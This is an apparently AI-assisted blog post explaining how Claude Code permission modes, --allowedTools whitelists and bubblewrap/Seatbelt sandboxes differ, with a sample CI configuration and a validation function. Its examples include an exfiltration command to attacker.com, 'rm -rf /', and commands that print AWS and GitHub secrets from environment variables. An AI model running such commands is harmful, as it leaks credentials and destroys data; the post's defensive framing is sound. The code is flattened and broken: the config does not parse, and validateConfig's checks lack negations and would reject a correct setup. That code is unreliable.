Claude Code Permission Modes in 2026: What `--allowedTools`, Whitelists, and Sandbox Boundaries Actually Restrict A developer explains that Claude Code's permission modes and sandbox boundaries serve distinct security purposes, and misalignment between them can lead to production failures or credential leaks. The post details how `--allowedTools` whitelists prevent tool invocation but do not restrict what allowed tools can access, advocating for defense-in-depth with separate deny rules and sandbox restrictions. --allowedTools , Whitelists, and Sandbox Boundaries Actually Restrict This article was written with the assistance of AI, under human supervision and review. Most Claude Code security failures stem from treating permission modes and sandbox boundaries as interchangeable concepts. Teams ship agents with Auto mode enabled, assuming the Bash sandbox prevents harm. The sandbox restricts file system access. Permission modes control whether Claude even attempts the action. When these two layers misalign, the agent either breaks production workflows or leaks credentials through unrestricted tool calls. The confusion compounds when engineers discover --allowedTools and assume whitelisting individual capabilities like edit file or run command provides complete protection. It does not. The whitelist prevents Claude from invoking forbidden tools. It says nothing about what those allowed tools can reach once invoked. A configuration that permits run command but forgets to restrict the Bash sandbox to a safe directory tree lets the agent execute rm -rf / without friction. The correct architecture separates concerns. Permission modes Auto, Prompt, Restricted, Custom decide whether Claude asks before acting. Sandbox boundaries bubblewrap on Linux, Seatbelt on macOS define the outer limits of what Bash commands can touch. Defense-in-depth pairs permission deny rules with tight sandbox restrictions so even a prompt-approval mistake cannot escape isolation. edit file or run command but does not restrict file paths or network access within allowed tools. Permission modes determine when Claude halts to request approval before invoking a tool. Auto grants every capability without asking. Prompt requires user confirmation for each tool call. Restricted denies all tools by default. Custom mode combines an allowedTools whitelist with explicit deny rules for fine-grained control. Auto mode ships with zero friction. The agent edits files, runs shell commands, and installs packages without interruption. This speed comes at a cost. When Claude misinterprets a task and attempts git push --force to the wrong branch, Auto mode executes the command instantly. No confirmation dialog appears. The force-push overwrites production history before a human notices. Prompt mode surfaces every tool invocation for approval. The agent stops to ask: "Run npm install ?" This visibility catches errors early but slows iteration. Developers working in tight feedback loops approve dozens of prompts per session. Alert fatigue sets in. A malicious or confused request slips through because the approval reflex becomes automatic. Restricted mode flips the default to deny. Claude cannot invoke any tool unless the team explicitly permits it. This mode suits production environments where the agent operates on a fixed set of well-tested tasks. A deployment pipeline that only needs run command for Docker builds and read file for config validation can deny every other capability. The agent cannot install packages, edit source files, or query external APIs. Custom mode provides surgical control. Teams define an allowedTools array containing exactly the capabilities the agent requires. A data processing workflow might permit read file , list directory , and write file while denying run command and install package . The configuration pairs the whitelist with explicit deny rules for high-risk tools. This matters because the whitelist operates as an allowlist. Omitting a tool from allowedTools prevents invocation but does not block future additions without review. --allowedTools is a configuration flag that accepts an array of tool identifiers. Engineers use it to construct a minimal permission surface. The whitelist prevents Claude from invoking tools outside the approved set, but it does not constrain what those tools can access once invoked. A configuration that includes edit file in allowedTools grants the agent permission to modify any file the process user can write. The whitelist does not restrict paths. If the agent runs with root privileges and the sandbox is misconfigured, edit file can overwrite /etc/passwd . The permission mode allowed the tool invocation. The sandbox failed to isolate file system access. The distinction between tool invocation and resource access is critical. run command appears in many whitelists because automated workflows need shell execution. A whitelist entry for run command permits the agent to spawn any Bash command. It does not limit arguments or working directory. Without a sandbox boundary, the agent can execute curl https://attacker.com/exfiltrate -d @/etc/secrets . Teams often pair --allowedTools with deny rules to create defense-in-depth. A configuration might whitelist read file and list directory while denying install package and run command . The deny rules act as a safety net. If a future code change accidentally adds a high-risk tool to the whitelist, the explicit deny rule blocks invocation until a maintainer reviews the change. The implication here is that --allowedTools solves the invocation problem but not the access problem. A complete security posture requires both a whitelist and a sandbox. Sandbox isolation operates one layer below permission modes. Once a tool invocation succeeds either through Auto mode or after prompt approval , the sandbox determines what system resources that tool can touch. On Linux, Claude Code uses bubblewrap. On macOS, it uses Seatbelt profiles. Both technologies create a restricted execution environment that denies access to paths outside a defined boundary. bubblewrap creates a new mount namespace. The agent's Bash commands see a minimal file system tree. A typical configuration mounts /workspace as read-write and /usr , /lib , /bin as read-only. Everything else remains invisible. When the agent executes cat /etc/secrets , the file does not exist in the sandboxed view. The kernel blocks the read before it reaches the real file system. Seatbelt profiles on macOS work differently but achieve the same goal. The profile specifies allowed paths, forbidden paths, and default deny rules. A production profile might permit reads from /Users/agent/workspace and deny everything else. When the agent attempts open "/Users/admin/.ssh/id rsa" , the Seatbelt kernel extension intercepts the system call and returns an error. The boundary applies to all child processes. If the agent runs npm install , the package manager spawns dozens of subprocesses to fetch dependencies and execute lifecycle scripts. Every subprocess inherits the sandbox restrictions. A malicious post-install script cannot write to /usr/local/bin or read from /etc because the sandbox denies access at the kernel level. Network access often escapes sandbox restrictions by default. bubblewrap can isolate the network namespace but many teams leave it open to allow dependency downloads and API calls. This creates an asymmetry. The agent cannot read /etc/secrets but can exfiltrate data through curl . A complete defense-in-depth configuration pairs file system isolation with network filtering or restricts run command to prevent arbitrary outbound connections. The failure mode here is subtle but expensive. Teams configure tight permission whitelists but forget to restrict the sandbox. The agent cannot invoke install package but can still run curl through run command . The sandbox allows network access. Credentials leak through a side channel the permission mode never controlled. Defense-in-depth pairs multiple security layers so a single misconfiguration cannot compromise the system. In Claude Code, this means configuring both permission deny rules and sandbox boundaries to address different failure modes. Permission rules prevent Claude from attempting dangerous actions. Sandbox restrictions prevent allowed actions from reaching sensitive resources. A production deployment workflow demonstrates the pattern. The agent needs to build Docker images and push them to a registry. The task requires run command for Docker CLI invocations and read file to validate build contexts. The team configures Custom mode with allowedTools: "run command", "read file" and explicit deny rules for edit file , install package , and delete file . The whitelist prevents accidental file modifications or package installations. The agent cannot corrupt the source tree or introduce dependencies without review. But run command remains powerful. A confused prompt could lead Claude to execute docker run --privileged or rm -rf /workspace . The permission mode allowed the invocation. The sandbox must block the damage. The sandbox configuration mounts /workspace read-only except for a single /workspace/build directory that receives build artifacts. The Docker socket is bind-mounted into the sandbox so the agent can invoke the Docker daemon. But the daemon itself runs outside the sandbox with its own restrictions. When the agent attempts docker run --privileged , the daemon refuses because its security profile denies privileged containers. This layered approach catches mistakes at multiple checkpoints. If a maintainer accidentally adds edit file to the whitelist, the agent can invoke the tool but the sandbox prevents writes outside /workspace/build . If the sandbox is misconfigured to allow writes everywhere, the permission deny rule for edit file blocks the invocation unless explicitly approved through Prompt mode. The pattern extends to credential isolation. Secrets live in a separate directory like /etc/secrets or a mounted volume that the sandbox denies entirely. Even if the agent gains read file permission and a prompt approval, the sandbox returns an error when it attempts to open the file. The kernel enforces the boundary. No application-level logic can bypass it. A production configuration file demonstrates how to combine Custom mode, a minimal allowedTools whitelist, and sandbox restrictions into a cohesive security posture. This example targets a CI pipeline agent that validates pull requests by running tests and linting checks. js // claude-code-config.ts export const productionConfig = { permissionMode: "custom", allowedTools: "run command", // Required for npm test, eslint "read file", // Required to read package.json, test configs "list directory", // Required to enumerate test files , denyTools: "edit file", // Tests should never modify source "delete file", // Prevent accidental cleanup of fixtures "install package", // Lock dependencies to package-lock.json "write file", // Block output file creation outside /tmp , sandbox: { type: "bubblewrap", // Linux container isolation allowedPaths: { path: "/workspace", mode: "ro" }, // Source tree read-only { path: "/workspace/.cache", mode: "rw" }, // Test cache writable { path: "/tmp", mode: "rw" }, // Temporary files , deniedPaths: "/etc", // No access to system configs "/root", // No access to root home directory "/home/ci/.ssh", // No access to SSH keys , network: { allowedHosts: "registry.npmjs.org", // Dependency downloads "api.github.com", // CI status updates , denyByDefault: true, }, }, resourceLimits: { maxMemoryMB: 2048, maxCPUPercent: 80, timeoutSeconds: 300, }, }; This configuration starts with Custom mode and a three-tool whitelist. The agent can execute commands, read files, and list directories. It cannot edit source, delete files, install packages, or write output except to explicitly writable paths. The deny rules act as guardrails. If a future code change adds edit file to the whitelist without review, the explicit deny rule blocks invocation. The sandbox layer enforces file system boundaries. The workspace mounts read-only except for a cache directory that test frameworks need. The /tmp directory allows ephemeral writes for test artifacts. Everything else is invisible to the sandboxed process. When the agent runs npm test , the test runner can write coverage reports to /workspace/.cache but cannot modify source files in /workspace/src . Network filtering prevents data exfiltration. The agent can reach npm's registry to validate dependency checksums and GitHub's API to post status checks. All other outbound connections fail. A compromised test script cannot curl an attacker-controlled server. The sandbox blocks the connection before it reaches the network. Resource limits prevent denial-of-service. The agent cannot consume more than 2GB of memory or 80% of CPU time. A runaway test suite hits the memory limit and terminates with an error instead of crashing the CI server. The five-minute timeout prevents infinite loops from blocking the queue. // Runtime validation before agent execution function validateConfig config { const requiredTools = "run command", "read file" ; const forbiddenTools = "edit file", "delete file" ; requiredTools.forEach tool = { if config.allowedTools.includes tool { throw new Error Missing required tool: ${tool} ; } } ; forbiddenTools.forEach tool = { if config.allowedTools.includes tool { throw new Error Forbidden tool in allowedTools: ${tool} ; } } ; // Verify sandbox denies sensitive paths const sensitivePaths = "/etc", "/root", "/home/ci/.ssh" ; sensitivePaths.forEach path = { if config.sandbox.deniedPaths.includes path { throw new Error Sensitive path not denied: ${path} ; } } ; return true; } This validation function runs before launching the agent. It enforces invariants: required tools must appear in the whitelist, forbidden tools must not, and sensitive paths must appear in the sandbox deny list. The check catches configuration drift. If a maintainer removes /etc from deniedPaths during refactoring, the validation fails at startup instead of leaking credentials at runtime. The most frequent misconfiguration occurs when teams set restrictive permission modes but forget to configure the sandbox. Auto mode with an empty allowedTools whitelist and no sandbox restrictions provides zero isolation. The agent can invoke any tool and reach any resource the process user can access. A team ships a code review agent in Prompt mode, assuming manual approval provides sufficient control. The agent asks to run npm audit fix , and a developer approves. The command succeeds because run command is permitted. But the sandbox is misconfigured. The /node modules directory mounts read-write, and the process user has root privileges. npm audit fix installs a malicious package that writes a backdoor to /usr/local/bin . The prompt approval allowed the command. The sandbox failed to isolate the installation target. The inverse misconfiguration is less common but equally dangerous. A team configures a tight sandbox but sets permission mode to Auto. The agent cannot write outside /workspace/build , but it can invoke any tool without asking. Claude misinterprets a request and runs git push --force to the wrong branch. The sandbox did not prevent the push because Git operates over the network, which the sandbox allows by default. The permission mode should have required prompt approval for destructive commands. Network access often escapes sandbox restrictions by default. Teams assume bubblewrap isolation prevents data exfiltration but forget to check the network policy. The agent cannot read /etc/secrets because the path is outside the sandbox boundary. But it can run curl through run command and post the contents of allowed files to an external server. The file system sandbox worked as intended. The network policy was never configured. Credential leaks through environment variables bypass both layers. The sandbox restricts file paths and network endpoints. Permission modes control tool invocations. But environment variables like AWS SECRET ACCESS KEY or GITHUB TOKEN live in the process environment. The agent can read them through run command by executing printenv or echo $AWS SECRET ACCESS KEY . A complete configuration either scrubs sensitive variables before launching the agent or uses a secrets manager that requires explicit authentication. The failure mode here is subtle but expensive. A configuration that looks secure on paper Custom mode, minimal whitelist, sandbox enabled leaks credentials through a channel the team never considered. Comprehensive testing must verify that the agent cannot access sensitive resources through any available tool, not just the obvious ones like read file . allowedTools includes The agent can execute any Bash command with the permissions of the process user. If the process runs as root or has access to sensitive paths, run command can read credentials, modify system files, or install backdoors. The permission whitelist allows the tool invocation, but without sandbox isolation, no boundary prevents the command from reaching dangerous resources. Yes, but the configuration must explicitly deny network access. bubberwrap on Linux can isolate the network namespace to prevent all outbound connections. Seatbelt on macOS can deny socket creation. Many teams leave network access open by default to allow dependency downloads and API calls, which creates an exfiltration channel if run command or install package are permitted. An empty allowedTools array prevents Claude from invoking any tool, which blocks most attacks. But it does not address side channels like environment variable access or command injection through prompt engineering. A comprehensive security posture pairs an empty whitelist with sandbox restrictions, environment variable scrubbing, and prompt validation to prevent indirect access to sensitive resources. Run a test agent that attempts to access forbidden resources and confirm it fails. Try reading /etc/passwd , writing to /usr/local/bin , and connecting to arbitrary network endpoints. The sandbox should block all attempts and return errors. Automated tests should validate these invariants on every configuration change to catch drift before production deployment. denyTools and omitting it from Omitting a tool from allowedTools prevents invocation by default in Custom mode. Adding it to denyTools creates an explicit deny rule that blocks the tool even if a future code change adds it to the whitelist. The explicit deny rule acts as defense-in-depth against accidental permission escalation during refactoring or configuration merges. Permission modes and sandbox boundaries solve different problems. Permission modes control whether Claude attempts an action. Sandbox boundaries limit what that action can reach. A complete security posture requires both layers. Custom mode with a minimal allowedTools whitelist prevents unnecessary tool invocations. Tight sandbox restrictions isolate allowed tools from sensitive resources. Defense-in-depth pairs explicit deny rules with kernel-enforced boundaries so a single misconfiguration cannot compromise the system. Teams shipping Claude Code agents in production must test both layers independently and together. Verify that forbidden tools cannot be invoked even through prompt engineering. Confirm that allowed tools cannot access sensitive paths even with root privileges. Validate that network policies prevent data exfiltration through side channels. The configuration file documents intent. Runtime validation and automated testing prove it works. That covers the essential patterns for securing Claude Code agents with permission modes and sandbox isolation. Apply these in production and the difference between a leaked credential and a contained failure will be immediate. For cost control strategies that complement these security patterns, see Claude Code Cost Control in Production https://jsmanifest.com/claude-code-cost-control-production . To understand how checkpoints interact with permission boundaries, read Claude Code Checkpoints: Restore Agent State https://jsmanifest.com/claude-code-checkpoints-restore-agent-state . For CI integration patterns that respect these restrictions, check Claude Code CI: Agentic Review, Test, and Auto-Fix https://jsmanifest.com/claude-code-ci-agentic-review-test-auto-fix .